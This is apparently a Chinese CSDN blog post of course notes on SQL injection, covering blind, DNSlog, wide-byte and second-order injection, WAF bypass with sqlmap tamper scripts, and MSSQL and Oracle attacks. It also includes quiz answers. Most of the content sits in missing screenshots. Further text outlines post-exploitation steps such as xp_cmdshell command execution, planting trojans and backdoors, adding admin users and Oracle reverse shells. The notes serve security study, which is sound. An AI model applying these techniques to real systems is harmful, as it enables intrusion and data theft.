在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述 在这里插入图片描述在这里插入图片描述在这里插入图片描述

ASCII 0-127

48 - 0
122 - Z

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述

3.2 SQL盲注-时间注入

判断 页面 返回 真与假 识别 数据库 中 的 信息
在这里插入图片描述
通过 返回 时间 的 快慢 来 识别 数据库 中 的 信息

没有 回显 真假
只是 构造语句 分析时长

登录场景

在这里插入图片描述

注入语法

在这里插入图片描述在这里插入图片描述
无论怎样 都是 一个页面

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

  • if left 时间盲注

在这里插入图片描述在这里插入图片描述

  • 时间盲注 小脚本

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述 在这里插入图片描述

3.3 Dnslog盲注

在这里插入图片描述

  • DNS

在这里插入图片描述
服务器上 的应用 对外 开放 服务

公网ip:端口 ----- 对应功能

引入 dns
在这里插入图片描述

  • DNS Server 存储 用户 访问的 域名 信息在这里插入图片描述

在这里插入图片描述
布尔 时间 盲注 猜字游戏
效率比较低 也容易 触发 防护

在这里插入图片描述UA
User-Agent会告诉网站服务器,访问者是通过什么工具来请求的
中文名为用户代理,是Http协议中的一部分,属于头域的组成部分,
User Agent也简称UA。
它是一个特殊字符串头,是一种向访问网站提供你所使用的浏览器类型及版本、操作系统及版本、浏览器内核、等信息的标识。
通过这个标识,
用户所访问的网站可以显示不同的排版从而为用户提供更好的体验或者进行信息统计;

在这里插入图片描述

  • dns log 平台

在这里插入图片描述 在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述

  • dnslog 盲注 目标 一定是 windows操作系统

在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

  • dns 记录 不可以 用 ~ 等 特殊符号

在这里插入图片描述
构造语句

  • 用 哈希 查看完 再 哈希 回来

在这里插入图片描述在这里插入图片描述在这里插入图片描述

工程化 注入
速度快 效率高 人为参与 少
在这里插入图片描述在这里插入图片描述
定义 查询数据 的 语句
数据库
表名
获取数据

在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述
执行 payload

在这里插入图片描述
对 dnslog 平台的 接口 进行 访问
在这里插入图片描述在这里插入图片描述

入口处 接收 参数

在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
识别 随机串
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

答案:
1、解析: B、页面依据提交的数据,返回不同的内容,但是不回直接显示数据库中的信息,此处如果存在SQL注入,必然是盲注
2、解析: B、在所有类型的注入点,都可以使用时间盲注。
3、解析: A、依据题意可知,当前库名称的第一位的ASCII码为115,既s。
4、解析: B、load_file函数在Linux下是无法用来做dnslog攻击的。
5、解析: A、ABC都是dnslog盲注的特点。

第四章:SQL注入防御绕过

4.1 宽字节注入

常规 + web/mysql/php 一些方法 注入
在这里插入图片描述
在这里插入图片描述
英文 一个字节
中文 两个字节 默认

A-Z 48种

一个字节 8bit位 二进制
01组合种类 255种

一个字节 表示 中文字符 255不够

16bit来表示

在这里插入图片描述

安全编码 特殊符号 转义 防止 恶意注入

在这里插入图片描述

 url编码,网址字符串
 浏览器自动对中文和一些特殊字符转码,形式为:"%二位十六进制数",
 代表一个字节,如果是中文是2个字节,
 就需要两个%。如果没有自动转码,就要自己转,比如js中有escape和encodeURI,
 在接收这样字符串的程序中如需还原成中文,就分别用unescape和decodeURI。
 其他程序语言中都有相应的url字符转码函数。

在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
字符替换 SQL注入防护

  • gbk编码连接
    在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
    在这里插入图片描述在这里插入图片描述

联合查询
报错 / 直接页面显示
在这里插入图片描述 在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
php 内置函数

在这里插入图片描述

  • 宽字节防御

用utf-8 彻底杜绝
在这里插入图片描述
在这里插入图片描述

使用二进制 数据库连接

在这里插入图片描述
在这里插入图片描述

4.2 二次编码注入

在这里插入图片描述
在这里插入图片描述
防止发生歧义

在这里插入图片描述

各个语言 都有 自己的 解码工具类

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
构造错误
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4.3 二次注入

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
认为数据库 中 可信

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述

重置数据库

在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
经过 php 方法 特殊字符 转义

在这里插入图片描述

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • mysql_real_eacape_string() 特殊字符转义
    在这里插入图片描述在这里插入图片描述在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

二次注入防御:外部提交的数据 进行谨慎对待 (不仅仅是 特殊字符转义)

在这里插入图片描述

  • 默认 从数据库 中查询到的 数据 就是 安全的

在这里插入图片描述
windows 环境 – 其他环境 也可以 考虑 dnslog注入

linux 只能 使用 二次注入

4.4 WAF绕过原理分析

防护:代码层、网络层、服务器层

  • waf 网站应用级入侵防御系统。英文:Web Application Firewall

在这里插入图片描述
在这里插入图片描述

  • 了解 中间件 机制 iis tomcat nginx
    在这里插入图片描述
  • preg_replace() + i 忽略大小写

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
中间件 和 waf 的 区别 进行 污染
在这里插入图片描述
在这里插入图片描述

  • 能够注入

  • waf 规则 匹配不到的 数据格式

  • %25 为 %

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

  • %20

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 挑一个 可以注入的

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 把空格 全部替换
    确定 页面 只有 三列
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  • 分割

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

4.5 SQLmap绕过WAF脚本编写

应对waf时 定制化 payload 继续注入

在这里插入图片描述
在这里插入图片描述

sqlmap 介绍

在这里插入图片描述在这里插入图片描述

  • 指明对 哪一个参数 进行测试 -d
    在这里插入图片描述
    id = 1 后 键入 *
  • 在一些 伪静态场景很好用
    在这里插入图片描述
  • –dbs 列出所有库 的名称
    在这里插入图片描述
执行系统命令 -os-shell

sqlserver sa用户 --> 调用 SqlServer系统内置函数---->执行命令
mysql (前提知道网站所在目录)写入后门文件到目录 —>执行系统命令
在这里插入图片描述
执行 sql语句 -sql-shell
输入 sql 语句

读文件 + 路径
写文件 + 本地文件 --file-dest 目标及文件

Tamper脚本介绍

在这里插入图片描述
在这里插入图片描述

编写Tamper

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • PHP函数 preg_replace
    在这里插入图片描述

\s 空白字符
\t 换行符

在这里插入图片描述

  • 刷新 重新开始 --flush-session
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
  • union all select
    在这里插入图片描述
    在这里插入图片描述
  • %a0换行符 空格
  • %0a 空格

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

答案:

1、解析: C、注解:很显然,utf-8并不是宽字节。
2、解析: B、注解:键入%df,尝试于转义字符\进行组合,形成汉字字符。
3、解析: C、注解:B,使用强校验,防御所有可能的恶意语句,可以有效避免SQL注入。
4、解析: D、注解:云WAF一班都有较好的防护性能和较强的防护规则,期望构造语句进行绕过可能存在困难,我们选择寻找真实的IP,就能一劳永逸的绕过防护,当然,这也只是应用在一些场景。
5、解析: B、注解:replace函数的格式为A

第五章:MsSQL数据库注入

5.1 MsSQL数据库环境搭建

在这里插入图片描述

  • mssql 数据库 特性
    asp.net + mssql
    在这里插入图片描述

  • sqlserver
    在这里插入图片描述

  • 权限配置 对整个服务器造成隐患

绕过 注入流程 与 mysql 没什么区别

  • 数据库结构
  • 函数名
  • 数据操作语言
  • 存储过程

在这里插入图片描述
在这里插入图片描述

  • 数据默认存放目录

  • 身份验证 windows(SQLserver 不参加验证) / 混合 (或)验证

  • SA 是 SqlServer最高权限-超级管理员 登录需要密码

  • 密码复杂 有要求
    在这里插入图片描述
    登录后
    在这里插入图片描述
    在这里插入图片描述

  • 带 ## 有证书 创建 在SqlServer 内部使用

  • 映射一个 win系统账户

  • NT 也是 内置账户 实现 特使功能 mssql server

  • 在这里插入图片描述
    在这里插入图片描述

  • 两层 并行 安全架构 权限

sysadmin
public

在这里插入图片描述

db_owner DBO
public

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • sqlserver SID 安全标识符

TSQL 数据操作语言

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述
创建更复杂的 存储过程

在这里插入图片描述
master 一切对象 信息 sa 和其他账号的 密码
model 创建用户 数据库 的模板
msdb 用户数据库 任务调度 告警 操作 元信息
tempdb 临时数据库 数据库 重启 丢失

在这里插入图片描述
新建数据库用户
在这里插入图片描述
在这里插入图片描述
DML 管理语句
DDL 修改数据库结构
DCL 授权语句

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
只是一个视图 并没有这个表

从 视图里 查询

在这里插入图片描述

iis 服务器组件

在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
添加 iis user

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
数据连接 在 webconfig设置

  • index.aspx

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
添加这个控件 自动生成 ConnectionStrings 连接 需要

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

关闭default 这个 127.0.0.1 本地 站在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
localsystem 是 安装时候 的 权限 SqlServer

在这里插入图片描述

  • 修改项目

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
直接拼接
没过滤 参数化处理

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • https://websec.ca/kb/sql_injection

sql注入备忘录

在这里插入图片描述
在这里插入图片描述

5.2 MsSQL数据库注入

 MSSQL(MicroSoft SQL Server数据库)
微软开发的关系型数据库管理系统DBMS
较大型的数据库
提供数据库的从服务器到终端的完整的解决方案,
数据库管理系统SSMS(SQL Server Managerment Studio),是一个用于建立、使用和维护数据库的集成开发环境。 端口号:1433

在这里插入图片描述
存储过程
视图名 函数名
站库分离
多语句注入

在这里插入图片描述
TSQL 数据语言
mssql 大量存在 存储过程

形成中间代码 存放在 数据库中

特定功能 第一次编译后直接运行 不需要再次编译

xp_cmdshell存储过程 让攻击者方便

在这里插入图片描述

管理员自己创建的 存储过程 审计
实现越权

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
无回显 盲注

在这里插入图片描述
在这里插入图片描述

% 为模糊匹配
在这里插入图片描述

  • and 布尔探测 数据库版本

在这里插入图片描述
在这里插入图片描述

… 两个 点省略 dbo 架构

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

与mysql 不一样的 地方

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

sysobjects存放 数据库中 一些对象

面向对象 思想

xpath 查询 这些对象 类别
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

top 与 limit

在这里插入图片描述在这里插入图片描述

在这里插入图片描述
not in 排除

在这里插入图片描述
在这里插入图片描述
information_schema 视图
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
mysql pdo 多语句查询

在这里插入图片描述
在这里插入图片描述
是不允许 dml调用 dcl 类型

绕过

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
多语句 注入 闭合
在这里插入图片描述在这里插入图片描述

  • 要求数据库权限
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    创建 表 再从表中 盲注 布尔注入
    在这里插入图片描述

在这里插入图片描述

bulk insert 大量插入

在这里插入图片描述
在这里插入图片描述

声明变量

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
dbo 伪造备份 写入

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 必须 有 数据库 做过备份
    在这里插入图片描述

写入 二进制 木马

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
下载 木马

在这里插入图片描述
14版本 默认
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

5.3 MsSQL数据库注入

盲注 遍历 数据管理员创建的 存储过程 安全审计 很常见
数据库不安全的 配置属性

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

cmder

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

-p 加 攻击参数

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

添加用户
管理员
开启 远程桌面 控制

在这里插入图片描述
在这里插入图片描述
安装权限

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

services.msc

在这里插入图片描述
权限修改

在这里插入图片描述
在这里插入图片描述
08 开启

在这里插入图片描述
无法 多语句执行

也没法 子语句调用

在这里插入图片描述
在这里插入图片描述
遍历 存储过程

在这里插入图片描述
同一个 域渗透

后渗透 攻击 流量 转发内网

powershell 免杀 处理

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
权限 敏感信息 审计

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
python R 语言命令
留下后门

在这里插入图片描述
在这里插入图片描述

第六章:Oracle数据库注入

6.1 Oracle数据库环境搭建

在这里插入图片描述

tomcat搭建 eclipse

在这里插入图片描述
在这里插入图片描述
关键字绕过、waf绕过
都差不多

语言 和 权限结构 + 提权操作 盲注 函数

数据中心 有 很多分支
存储过程 提权

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
系统权限 和 对象权限 权限传递方式不一样
撤销 影响不一样

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
授权撤销后 会不会收回
在这里插入图片描述
面向过程 特性

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

6.2 Oracle数据库注入

在这里插入图片描述
在这里插入图片描述

  • 查询 必须 跟上表名 或者 dual虚拟表 对 select 语句进行补充

  • mysql 查询 会有 数据类型的 转换 (一种弱 匹配漏洞)

在这里插入图片描述在这里插入图片描述

oracle 注入测试方法

在这里插入图片描述

  • 在null 替换 关键字 ctrl F 寻找 回显字符
  • 表名 列名 加 双引号 order by 判断列数 在这里插入图片描述

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述

  • sys.v_$version 数据库版本信息 备份全局的视图
    在这里插入图片描述

在这里插入图片描述

  • 查询数据表
    在这里插入图片描述
  • oracle 用 ROWNUM 来筛选 数据
    在这里插入图片描述

<> == !=号

在这里插入图片描述

在这里插入图片描述

报错注入 盲注

web页面上 是 500 报错信息

  • get_host_name 参数类型 不匹配导致 ip ----字符串

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

  • 主题词 表 报错
    在这里插入图片描述
    在这里插入图片描述

  • upper 全部结果 大写

  • XMLtype 内 参数 chr ASCII方式 解析为字符

  • 在这里插入图片描述

  • || 字符串拼接

  • 查表 为< : > xml 一定格式要求

回显时候 数据带空格 / 会导致 数据被截断 数据显示 不完全
加别的函数 把 空格 替换成 其他字符 /空

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

参数 类型不匹配 导致报错
错误信息 被 攻击者 发现 系统敏感数据

  • web 应用 错误 没有被 及时捕捉 和 处理 直接 输出 在 web 页面

在这里插入图片描述

  • 布尔盲注 为 返回 0 /1 页面不同

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 外带 发送 request 请求
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

6.3 Oracle数据库注入

  • oracle 提权操作
    在这里插入图片描述
    命令执行 提升权限

linux oracle 反弹 shell

在这里插入图片描述

  • 用户 登录名 口令
    远程登录 提权

  • 存储过程 权限 定义 调用
    在这里插入图片描述
    在这里插入图片描述

  • DBMS_EXPORT_EXTENSION
    在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
引入 双引号 隔离 之前的语句
去执行 我们插入的 sql 语句

在这里插入图片描述
在这里插入图片描述
执行
sys 权限执行 插入 语句
在这里插入图片描述

创建 一个 java 库
调用 java 虚拟机 底层函数

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
begin dbms_java.grant_permission

语法格式

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

sys dba权限 赋予 public

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
![在这里插入图片描述](https://img-blog.csdnimg.cn/c20de74867b640b1a7d4c1aa7

  • 0
    点赞
  • 2
    收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
©️2022 CSDN 皮肤主题:黑客帝国 设计师:我叫白小胖 返回首页
评论

打赏作者

amingMM

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值